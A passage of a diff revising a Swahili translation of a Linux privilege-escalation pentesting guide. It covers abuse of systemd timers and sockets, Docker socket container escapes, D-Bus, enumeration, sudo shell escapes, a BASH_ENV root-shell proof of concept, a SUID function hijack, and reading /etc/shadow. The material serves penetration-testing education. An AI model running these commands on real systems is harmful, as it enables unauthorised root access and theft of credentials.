za systemd.unit (kama `.service` au `.target`) +Kama unaweza kubadilisha timer, unaweza kuifanya itekeleze baadhi ya units za systemd.unit (kama `.service` au `.target`) ```bash Unit=backdoor.service ``` -Katika nyaraka unaweza kusoma ni nini Unit: +Kwenye nyaraka unaweza kusoma ni nini Unit: -> Unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. +> Unit itakayoanzishwa wakati timer hii inapoisha. Hoja ni jina la unit, ambayo sufiksi yake si ".timer". Iwapo haitatajwi, thamani hii kwa kawaida inabaki kuwa service yenye jina lile lile kama timer unit, isipokuwa kwa sufiksi. (Angalia hapo juu.) Inapendekezwa kwamba jina la unit linaloanzishwa na jina la timer unit liwe sawa, isipokuwa kwa sufiksi. -Kwa hiyo, ili kutekeza ruhusa hii utahitaji: +Kwa hiyo, ili kutumia vibaya ruhusa hii utahitaji: -- Tafuta systemd unit fulani (kama `.service`) ambayo **inayoendesha binary inayoweza kuandikwa** -- Tafuta systemd unit fulani ambayo **inayoendesha relative path** na una **writable privileges** juu ya **systemd PATH** (ili kujifanya executable hiyo) +- Tafuta systemd unit fulani (kama a `.service`) ambayo inatekeleza **binary inayoweza kuandikwa** +- Tafuta systemd unit fulani ambayo inatekeleza **relative path** na una **idhini za kuandika** juu ya **systemd PATH** (ili kujifanya executable hiyo) -**Jifunze zaidi kuhusu timers kwa kutumia `man systemd.timer`.** +**Jifunze zaidi kuhusu timers kwa `man systemd.timer`.** -### **Kuwawezesha Timer** +### **Kuwezesha Timer** -Ili kuwezesha timer unahitaji ruhusa za root na kuendesha: +Ili kuwezesha timer unahitaji ruhusa za root na kutekeleza: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. @@ -494,32 +494,32 @@ Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd ## Sockets -Unix Domain Sockets (UDS) huwezesha **process communication** on the same or different machines within client-server models. Zinatumia standard Unix descriptor files kwa inter-computer communication na zinaanzishwa kupitia `.socket` files. +Unix Domain Sockets (UDS) huwezesha **mawasiliano ya michakato** kwenye mashine ile ile au tofauti ndani ya modeli za client-server. Zinatumia faili za descriptor za Unix kwa mawasiliano kati ya kompyuta na zinaanzishwa kupitia `.socket` files. -Sockets can be configured using `.socket` files. +Sockets zinaweza kusanidiwa kwa kutumia `.socket` files. -**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: +**Learn more about sockets with `man systemd.socket`.** Ndani ya faili hii, vigezo kadhaa vya kuvutia vinaweza kusanidiwa: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) -- `Accept`: Inapokea hoja ya boolean. Ikiwa **true**, **service instance is spawned for each incoming connection** na only the connection socket is passed to it. Ikiwa **false**, all listening sockets themselves are **passed to the started service unit**, na only one service unit is spawned for all connections. Thamani hii haizingatiwi kwa datagram sockets na FIFOs ambapo single service unit unconditionally handles all incoming traffic. **Defaults to false**. Kwa sababu za utendaji, inashauriwa kuandika daemons mpya only in a way that is suitable for `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Inapokea moja au zaidi command lines, ambazo zina **executed before** au **after** the listening **sockets**/FIFOs are **created** na bound, mtawalia. The first token of the command line must be an absolute filename, then followed by arguments for the process. -- `ExecStopPre`, `ExecStopPost`: Additional **commands** ambazo zina **executed before** au **after** the listening **sockets**/FIFOs are **closed** na removed, mtawalia. -- `Service`: Inabainisha jina la **service** unit **to activate** on **incoming traffic**. Hii setting inaruhusiwa tu kwa sockets with Accept=no. Inategemea kwa default service that bears the same name as the socket (with the suffix replaced). Katika most cases, haitapaswi kuwa lazima kutumia chaguo hili. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Chaguzi hizi ni tofauti lakini kwa muhtasari zinatumika **kueleza mahali zitakaposikiliza** socket (njia ya faili ya AF_UNIX socket, IPv4/6 na/au nambari ya port kusikiliza, n.k.) +- `Accept`: Inachukua hoja ya boolean. Ikiwa **true**, **instance ya service itaanzishwa kwa kila muunganisho unaokuja** na socket ya muunganisho tu ndiyo itapitishwa kwake. Ikiwa **false**, sockets zote za kusikiliza zenyewe zina **pitishwa kwa service unit iliyozinduliwa**, na service unit moja tu itaanzishwa kwa muunganisho yote. Thamani hii hairuhusiwi kwa datagram sockets na FIFOs ambapo service unit moja inashughulikia trafiki yote inayokuja bila masharti. **Chaguo-msingi ni false**. Kwa sababu za utendaji, inashauriwa kuunda daemons mpya kwa njia inayofaa kwa `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Zinachukua mstari mmoja au zaidi wa amri, ambazo zinafanywa **kabla** au **baada** sockets/FIFOs za kusikiliza **kuundwa** na kufungwa kwa mfululizo. Token ya kwanza ya mstari wa amri lazima iwe jina la faili kamili (absolute filename), ikifuatiwa na hoja za mchakato. +- `ExecStopPre`, `ExecStopPost`: Amri za ziada ambazo zinafanywa **kabla** au **baada** sockets/FIFOs za kusikiliza **kufungwa** na kuondolewa, mtawalia. +- `Service`: Inaainisha jina la unit ya **service** itakayoanzishwa pale inapopokea trafiki inayokuja. Mipangilio hii inaruhusiwa tu kwa sockets zenye Accept=no. Chaguo-msingi ni service yenye jina sawa na socket (na kiambatanisho kimebadilishwa). Katika kesi nyingi, haitakuwa lazima kutumia chaguo hili. ### Writable .socket files -If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ +Ikiwa utapata faili ya `.socket` ambayo ni **writable**, unaweza **ongeza** mwanzoni mwa sehemu ya `[Socket]` kitu kama: `ExecStartPre=/home/kali/sys/backdoor` na backdoor itatekelezwa kabla socket kuundwa. Kwa hivyo, **huenda utahitaji kusubiri hadi mashine izinduliwe upya.**\ _Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### Writable sockets -If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. +Ikiwa **unatambua socket yoyote inayoweza kuandikwa** (_sasa tunazungumzia Unix Sockets na sio faili za konfigurishaji `.socket`_), basi **unaweza kuwasiliana** na socket hiyo na labda kutumia udhaifu. ### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` -### Muunganisho wa ghafi +### Muunganisho ghafi ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -528,7 +528,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Mfano wa exploitation:** +**Mfano la matumizi mabaya:** {{#ref}} @@ -537,48 +537,48 @@ socket-command-injection.md ### HTTP sockets -Kumbuka kuwa kunaweza kuwa na baadhi ya **sockets listening for HTTP requests** (_sina kuzungumzia .socket files, bali faili zinazofanya kazi kama unix sockets_). Unaweza kuangalia hili kwa: +Fahamu kuwa kunaweza kuwa na baadhi ya **sockets zinazolisikiza HTTP** maombi (_sizungumzii kuhusu .socket files lakini kuhusu faili zinazofanya kazi kama unix sockets_). Unaweza kuangalia hili kwa: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Ikiwa socket **inajibu kwa ombi la HTTP**, basi unaweza **kuwasiliana** nayo na labda **exploit some vulnerability**. +If the socket **inajibu kwa ombi la HTTP**, basi unaweza **kuwasiliana** nayo na labda **exploit some vulnerability**. ### Docker Socket Inayoweza Kuandikwa -Socket ya Docker, mara nyingi inapatikana katika `/var/run/docker.sock`, ni faili muhimu ambayo inapaswa kulindwa. Kwa chaguo-msingi, inaweza kuandikwa na mtumiaji `root` na wanachama wa kundi la `docker`. Kuwa na ruhusa ya kuandika kwenye socket hii kunaweza kusababisha privilege escalation. Hapa kuna muhtasari wa jinsi hii inaweza kufanywa na mbinu mbadala ikiwa Docker CLI haitapatikana. +The Docker socket, often found at `/var/run/docker.sock`, ni faili muhimu ambayo inapaswa kulindwa. Kwa default, it's writable by the `root` user and members of the `docker` group. Kuwa na write access kwenye socket hii kunaweza kusababisha privilege escalation. Hapa kuna muhtasari wa jinsi hili linaweza kufanywa na mbinu mbadala ikiwa Docker CLI haipo. #### **Privilege Escalation with Docker CLI** -Ikiwa una ruhusa ya kuandika kwenye Docker socket, unaweza escalate privileges kwa kutumia amri zifuatazo: +Ikiwa una write access kwenye Docker socket, unaweza escalate privileges kwa kutumia amri zifuatazo: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Hizi amri zinakuwezesha kuendesha container kwa ufikiaji wa root kwenye filesystem ya host. +Amri hizi zinakuwezesha kuendesha container yenye upatikanaji wa root kwa filesystem ya host. #### **Kutumia Docker API moja kwa moja** -Katika kesi ambapo Docker CLI haipatikani, docker socket bado inaweza kudhibitiwa kwa kutumia Docker API na amri za `curl`. +Katika matukio ambapo Docker CLI haipatikani, Docker socket bado inaweza kudhibitiwa kwa kutumia Docker API na amri za `curl`. -1. **List Docker Images:** Retrieve the list of available images. +1. **List Docker Images:** Pata orodha ya images zinazopatikana. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. +2. **Create a Container:** Tuma ombi la kuunda container inayomount directory ya root ya mfumo wa host. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Start the newly created container: +Anzisha container uliotengenezwa hivi karibuni: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. +3. **Attach to the Container:** Tumia `socat` kuanzisha muunganisho na container, kuruhusu utekelezaji wa amri ndani yake. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -588,13 +588,13 @@ Connection: Upgrade Upgrade: tcp ``` -After setting up the `socat` connection, you can execute commands directly in the container with root-level access to the host's filesystem. +Baada ya kuweka muunganisho wa `socat`, unaweza kuendesha amri moja kwa moja ndani ya container ukiwa na upatikanaji wa root kwa filesystem ya host. -### Others +### Mengine -Kumbuka kwamba ikiwa una ruhusa za kuandika kwenye docker socket kwa sababu uko **ndani ya group `docker`** una [**njia zaidi za kuongeza hadhi**](interesting-groups-linux-pe/index.html#docker-group). Ikiwa [**docker API inasikiliza kwenye port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Kumbuka kwamba ikiwa una write permissions juu ya docker socket kwa sababu uko **inside the group `docker`** una [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Angalia **njia zaidi za kutoroka kutoka docker au kuitumia vibaya ili kuongeza hadhi** katika: +Angalia **more ways to break out from docker or abuse it to escalate privileges** katika: {{#ref}} @@ -603,7 +603,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Ikiwa unagundua kwamba unaweza kutumia amri ya **`ctr`**, soma ukurasa ufuatao kwa sababu **huenda ukaweza kuitumia vibaya ili kuongeza hadhi**: +If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -612,7 +612,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Ikiwa unagundua kwamba unaweza kutumia amri ya **`runc`**, soma ukurasa ufuatao kwa sababu **huenda ukaweza kuitumia vibaya ili kuongeza hadhi**: +If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -621,15 +621,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus ni mfumo wa hali ya juu wa **mawasiliano kati ya michakato (IPC)** unaowezesha programu kuwasiliana kwa ufanisi na kushiriki data. Umeundwa kwa kuzingatia mfumo wa kisasa wa Linux, hutoa mfumo thabiti kwa njia mbalimbali za mawasiliano ya programu. +D-Bus ni mfumo wa hali ya juu wa Inter-Process Communication (IPC) unaowawezesha applications kuingiliana na kubadilishana data kwa ufanisi. Umeundwa kwa kuzingatia mfumo wa kisasa wa Linux, na kutoa mfumo imara kwa aina tofauti za mawasiliano kati ya applications. -Mfumo ni wenye mabadilika, unaounga mkono IPC za msingi zinazoimarisha kubadilishana data kati ya michakato, similari na **sockets za eneo la UNIX zilizoimarishwa**. Zaidi ya hayo, husaidia katika kutangaza matukio au ishara, kukuza ushirikiano wa sehemu za mfumo. Kwa mfano, ishara kutoka kwa daemon ya Bluetooth kuhusu simu inayokuja inaweza kusababisha player wa muziki kutulia, kuboresha uzoefu wa mtumiaji. Aidha, D-Bus inaunga mkono mfumo wa vitu vya mbali (remote object system), kurahisisha maombi ya huduma na kuitishwa kwa method kati ya programu, kurahisisha michakato ambayo kwa kawaida ilikuwa ngumu. +Mfumo ni wenye ufanisi mkubwa, ukisaidia IPC ya msingi ambayo inaboresha kubadilishana data kati ya processes, kumbu-kumbu ya **enhanced UNIX domain sockets**. Zaidi ya hayo, husaidia kutangaza matukio au signals, hivyo kuimarisha muunganiko wa vipengele vya mfumo. Kwa mfano, ishara kutoka kwa Bluetooth daemon kuhusu simu inayokuja inaweza kusababisha music player kutulia, kuboresha uzoefu wa mtumiaji. Pia, D-Bus ina support kwa remote object system, ikirahisisha maombi ya service na invocation za method kati ya applications, na kurahisisha michakato ambayo hapo awali ilikuwa ngumu. -D-Bus hufanya kazi kwa mfano wa **kuruhusu/kukanusha**, ikisimamia ruhusa za ujumbe (mitelezo ya method, kutuma ishara, n.k.) kulingana na athari ya jumla ya sheria za sera zinazolingana. Sera hizi zinaelekeza mwingiliano na bus, na zinaweza kuruhusu kuongeza hadhi kwa kumtumia vibaya mtu zile ruhusa. +D-Bus inaendeshwa kwa **allow/deny model**, ikisimamia ruhusa za ujumbe (miito ya method, utoaji wa signal, n.k.) kulingana na athari ya jumla ya sheria za sera zinazolingana. Sera hizi zinaelezea mwingiliano na bus, na zinaweza kuwezesha privilege escalation kupitia unyonyaji wa ruhusa hizi. -Mfano wa sera kama hizi ulio katika `/etc/dbus-1/system.d/wpa_supplicant.conf` umeonyeshwa, ukielezea ruhusa za mtumiaji root kumiliki, kutuma, na kupokea ujumbe kutoka `fi.w1.wpa_supplicant1`. +Mfano wa sera kama hizo katika `/etc/dbus-1/system.d/wpa_supplicant.conf` umeonyeshwa, ukielezea ruhusa kwa user root kumiliki, kutuma, na kupokea ujumbe kutoka `fi.w1.wpa_supplicant1`. -Sera zisizo na mtumiaji au group maalum zinafanya kazi kwa wote, wakati sera za muktadha "default" zinatumika kwa wale wasiofunikwa na sera maalum nyingine. +Sera ambazo hazina user au group maalum zinatumika kwa wote, wakati sera za muktadha "default" zinatumika kwa wote wasiotajwa na sera nyingine maalum. ```xml @@ -638,8 +638,7 @@ Sera zisizo na mtumiaji au group maalum zinafanya kazi kwa wote, wakati sera za ``` -**Jifunze jinsi ya enumerate na exploit D-Bus communication hapa:** - +**Jifunze jinsi ya kuorodhesha na kutumia mawasiliano ya D-Bus hapa:** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -647,9 +646,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Mtandao** -Inavutia kila wakati enumerate the network na kubaini nafasi ya mashine. +Inavutia kila mara kuorodhesha mtandao na kubaini nafasi ya mashine. -### Generic enumeration +### Kuorodhesha kwa jumla ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -674,14 +673,14 @@ lsof -i ``` ### Open ports -Daima angalia network services zinazoendesha kwenye machine ambazo haukuweza kuingiliana nazo kabla ya kupata ufikiaji wake: +Kila wakati angalia huduma za mtandao zinazoendeshwa kwenye mashine ambayo hukuweza kuingiliana nayo kabla ya kuipata: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Angalia kama unaweza sniff traffic. Ikiwa unaweza, huenda ukaweza kupata baadhi ya credentials. +Angalia kama unaweza sniff traffic. Ikiwa unaweza, unaweza kupata baadhi ya credentials. ``` timeout 1 tcpdump ``` @@ -689,7 +688,7 @@ timeout 1 tcpdump ### Uorodheshaji wa Kawaida -Angalia **nani** wewe ni, **ruhusa** gani ulizonazo, **watumiaji** walio kwenye mfumo, ni gani wanaoweza **kuingia** na ni gani wana **ruhusa za root**: +Angalia ni **who** wewe ni, ni **privileges** gani ulizonazo, ni **users** gani wako kwenye mfumo, ni yapi wanaoweza **login** na ni nani walio na **root privileges:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -713,21 +712,21 @@ gpg --list-keys 2>/dev/null ``` ### UID Kubwa -Baadhi ya matoleo ya Linux yaliathiriwa na hitilafu inayowawezesha watumiaji wenye **UID > INT_MAX** kupandisha vibali. Maelezo zaidi: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Baadhi ya toleo za Linux zilikuwa na mdudu unaowawezesha watumiaji wenye **UID > INT_MAX** ku-escalate privileges. Taarifa zaidi: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** -### Vikundi +### Makundi -Angalia ikiwa wewe ni **mwanachama wa kundi fulani** ambalo linaweza kukupa vibali vya root: +Angalia ikiwa wewe ni **mwanachama wa kundi fulani** ambacho kinaweza kukupa root privileges: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Ubao wa kunakili +### Ubao la kunakili -Angalia ikiwa kuna kitu chochote cha kuvutia kiko ndani ya clipboard (ikiwa inawezekana) +Angalia kama kuna kitu chochote kinachovutia kipo ndani ya ubao la kunakili (ikiwa inawezekana) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -738,33 +737,33 @@ echo "Highlighted text: "`xsel -o 2>/dev/null` else echo "Not found xsel and xclip" fi ``` -### Sera ya Nenosiri +### Sera ya Nywila ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### Nywila zinazojulikana +### Known passwords -Ikiwa **unajua nywila yoyote** ya mazingira **jaribu kuingia kama kila mtumiaji** ukitumia nywila hiyo. +Ikiwa **unajua nenosiri lolote** la mazingira, **jaribu kuingia kwa kila mtumiaji** ukitumia nenosiri hilo. ### Su Brute -Ikiwa hukatai kusababisha kelele nyingi na binaries za `su` na `timeout` ziko kwenye kompyuta, unaweza kujaribu brute-force mtumiaji kwa kutumia [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) ukiwa na parameter ya `-a` pia inajaribu brute-force watumiaji. +Ikiwa hautasumbuliwa na kutoa kelele nyingi na binari za `su` na `timeout` ziko kwenye kompyuta, unaweza kujaribu brute-force mtumiaji ukitumia [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kwa parameter ya `-a` pia inajaribu brute-force watumiaji. -## Matumizi mabaya ya PATH inayoweza kuandikwa +## Matumizi mabaya ya PATH ### $PATH -Ikiwa ugundua kwamba unaweza **kuandika ndani ya folda fulani ya $PATH** unaweza kuwa na uwezo wa kuinua ruhusa kwa **kuunda backdoor ndani ya folda inayoweza kuandikwa** kwa jina la amri fulani ambayo itatekelezwa na mtumiaji mwingine (root ikiwa inawezekana) na ambayo **haitapakiwa kutoka kwenye folda iliyoko kabla** ya folda yako inayoweza kuandikwa kwenye $PATH. +Ikiwa utagundua kuwa unaweza **kuandika ndani ya folda fulani ya $PATH** huenda ukaweza kupandisha haki kwa **kuunda backdoor ndani ya folda inayoweza kuandikwa** kwa jina la amri fulani ambayo itatekelezwa na mtumiaji mwingine (root ikiwa inawezekana) na ambayo **haitapakuliwa kutoka folda iliyoko kabla** ya folda yako inayoweza kuandikwa kwenye $PATH. ### SUDO and SUID -Unaweza kuruhusiwa kutekeleza amri fulani kwa kutumia sudo au zinaweza kuwa na suid bit. Angalia kwa kutumia: +Unaweza kuruhusiwa kutekeleza amri fulani ukitumia sudo au inaweza kuwa na bit ya suid. Angalia kwa kutumia: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Baadhi ya **amri zisizotarajiwa zinakuwezesha kusoma na/au kuandika faili au hata kutekeleza amri.** Kwa mfano: +Baadhi ya **amri zisizotarajiwa zinakuruhusu kusoma na/au kuandika faili au hata kutekeleza amri.** Kwa mfano: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -775,36 +774,36 @@ less>! ``` ### NOPASSWD -Usanidi wa sudo unaweza kumruhusu mtumiaji kutekeleza amri fulani kwa kutumia ruhusa za mtumiaji mwingine bila kujua nenosiri. +Usanidi wa Sudo unaweza kumruhusu mtumiaji kutekeleza amri fulani kwa kutumia ruhusa za mtumiaji mwingine bila kujua nenosiri. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Katika mfano huu mtumiaji `demo` anaweza kuendesha `vim` kama `root`, sasa ni rahisi kupata shell kwa kuongeza ssh key kwenye root directory au kwa kuitisha `sh`. +Katika mfano huu mtumiaji `demo` anaweza kuendesha `vim` kama `root`; sasa ni rahisi kupata shell kwa kuongeza ssh key katika root directory au kwa kuendesha `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Agizo hili linamruhusu mtumiaji **set an environment variable** wakati anatekeleza kitu: +Amri hii inamruhusu mtumiaji **kuweka variable ya mazingira** wakati anatekeleza kitu: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Mfano huu, **uliotokana na HTB machine Admirer**, ulikuwa **nyeti** kwa **PYTHONPATH hijacking** ili kupakia maktaba yoyote ya python wakati script ikitekelezwa kama root: +Mfano huu, **based on HTB machine Admirer**, ulikuwa **dhaifu** kwa **PYTHONPATH hijacking** kupakia maktaba yoyote ya python wakati script ikitekelezwa kama root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV imehifadhiwa kupitia sudo env_keep → shell ya root +### BASH_ENV imehifadhiwa kupitia sudo env_keep → root shell -Ikiwa sudoers inahifadhi `BASH_ENV` (kwa mfano, `Defaults env_keep+="ENV BASH_ENV"`), unaweza kutumia tabia ya kuanzishwa kwa Bash isiyo ya kuingiliana ili kuendesha msimbo wowote kama root unapoita amri iliyoruhusiwa. +Ikiwa sudoers inahifadhi `BASH_ENV` (mfano, `Defaults env_keep+="ENV BASH_ENV"`), unaweza kutumia tabia ya kuanzishwa isiyo ya kiingiliano ya Bash kuendesha code yoyote kama root unapomtumia amri iliyoruhusiwa. -- Kwa nini inafanya kazi: Kwa shells zisizo za kuingiliana, Bash hupima `$BASH_ENV` na kusoma (source) faili hiyo kabla ya kuendesha script lengwa. Kanuni nyingi za sudo zina ruhusa ya kuendesha script au wrapper ya shell. Ikiwa `BASH_ENV` imehifadhiwa na sudo, faili yako inasomwa kwa haki za root. +- Kwa nini inafanya kazi: Kwa non-interactive shells, Bash hutathmini `$BASH_ENV` na inasource faili hiyo kabla ya kuendesha script lengwa. Kanuni nyingi za sudo zinaruhusu kuendesha script au shell wrapper. Ikiwa `BASH_ENV` imehifadhiwa na sudo, faili yako itasourced kwa root privileges. - Mahitaji: -- Kanuni ya sudo unayoweza kuitekeleza (lengo lolote linaloiita `/bin/bash` isiyo ya kuingiliana, au script yoyote ya bash). +- Sudo rule unayoweza kuendesha (target yoyote inayoanzisha `/bin/bash` non-interactively, au script yoyote ya bash). - `BASH_ENV` kuwepo katika `env_keep` (angalia kwa `sudo -l`). - PoC: @@ -817,14 +816,14 @@ chmod +x /dev/shm/shell.sh BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash # You should now have a root shell ``` -- Kuimarisha: +- Kukaza usalama: - Ondoa `BASH_ENV` (na `ENV`) kutoka `env_keep`, tumia `env_reset`. -- Epuka shell wrappers kwa amri zinazoruhusiwa na sudo; tumia binaries ndogo. -- Zingatia sudo I/O logging na alerting wakati preserved env vars zinapotumika. +- Epuka wrapper za shell kwa amri zinazoruhusiwa na sudo; tumia binaries ndogo. +- Zingatia logging ya sudo I/O na alerting wakati env vars zilizohifadhiwa zinapotumika. -### Sudo execution bypassing paths +### Njia za bypassing za utekelezaji wa sudo -**Jump** kusoma faili nyingine au kutumia **symlinks**. Kwa mfano katika faili ya sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Ruka** kusoma faili nyingine au tumia **symlinks**. Kwa mfano kwenye faili ya sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -834,46 +833,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Ikiwa **wildcard** inatumika (\*), ni rahisi zaidi: +Ikiwa **wildcard** inapotumika (\*), ni rahisi hata zaidi: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**Hatua za kukabiliana**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**Hatua za kujikinga**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) ### Sudo command/SUID binary bila njia ya amri -Ikiwa **sudo permission** imetolewa kwa amri moja tu **bila kubainisha njia**: _hacker10 ALL= (root) less_ unaweza kuiexploit kwa kubadilisha PATH variable +Ikiwa **sudo permission** imetolewa kwa amri moja tu **bila kutaja njia ya amri**: _hacker10 ALL= (root) less_ unaweza kuiexploit kwa kubadilisha PATH variable ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Mbinu hii pia inaweza kutumika ikiwa **suid** binary **inaendesha amri nyingine bila kutaja njia yake (daima angalia kwa** _**strings**_ **yaliyomo kwenye binary ya SUID isiyo ya kawaida)**. +Mbinu hii pia inaweza kutumika ikiwa **suid** binary **inatekeleza amri nyingine bila kutaja njia yake (hakikisha kila wakati kwa kutumia** _**strings**_ **yaliyomo ya binary isiyo ya kawaida ya SUID)**. [Payload examples to execute.](payloads-to-execute.md) ### SUID binary yenye njia ya amri -Ikiwa **suid** binary **inaendesha amri nyingine kwa kutaja njia**, basi unaweza kujaribu **export a function** iliyopewa jina la amri ambayo faili ya suid inaiita. +Ikiwa binary ya **suid** **inatekeleza amri nyingine kwa kutaja njia**, basi unaweza kujaribu **export a function** iitwayo kama amri ambayo faili ya suid inaiita. -Kwa mfano, ikiwa suid binary inaita _**/usr/sbin/service apache2 start**_ unapaswa kujaribu kuunda function na kui-export: +Kwa mfano, ikiwa binary ya suid inaita _**/usr/sbin/service apache2 start**_ unapaswa kujaribu kuunda function hiyo na kui-export: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Kisha, unapomuita suid binary, kazi hii itatekelezwa +Kisha, unapoiita binary ya suid, kazi hii itaendeshwa ### LD_PRELOAD & **LD_LIBRARY_PATH** -Variable ya mazingira **LD_PRELOAD** hutumiwa kubainisha moja au zaidi ya shared libraries (.so files) ambazo loader itazipakia kabla ya nyingine zote, ikiwa ni pamoja na standard C library (`libc.so`). Mchakato huu unajulikana kama preloading ya library. +Kigezo cha mazingira **LD_PRELOAD** kinatumika kubainisha maktaba moja au zaidi za pamoja (.so files) ambazo loader itapakia kabla ya nyingine zote, ikiwemo maktaba ya kawaida ya C (`libc.so`). Mchakato huu unajulikana kama preloading ya maktaba. -Hata hivyo, ili kudumisha usalama wa mfumo na kuzuia kipengele hiki kutumiwa vibaya, hasa kwa executables za **suid/sgid**, mfumo unaweka masharti kadhaa: +Hata hivyo, ili kudumisha usalama wa mfumo na kuzuia kipengele hiki kutumika vibaya, hasa kwa ejecutables za **suid/sgid**, mfumo unatekeleza masharti fulani: -- Loader hupuuzia **LD_PRELOAD** kwa executables ambapo real user ID (_ruid_) haifani na effective user ID (_euid_). -- Kwa executables zenye suid/sgid, maktaba zitakazopakiwa awali ni zile tu zilizopo katika standard paths ambazo pia ni suid/sgid. +- Loader haizingatii **LD_PRELOAD** kwa executables ambapo real user ID (_ruid_) haifanani na effective user ID (_euid_). +- 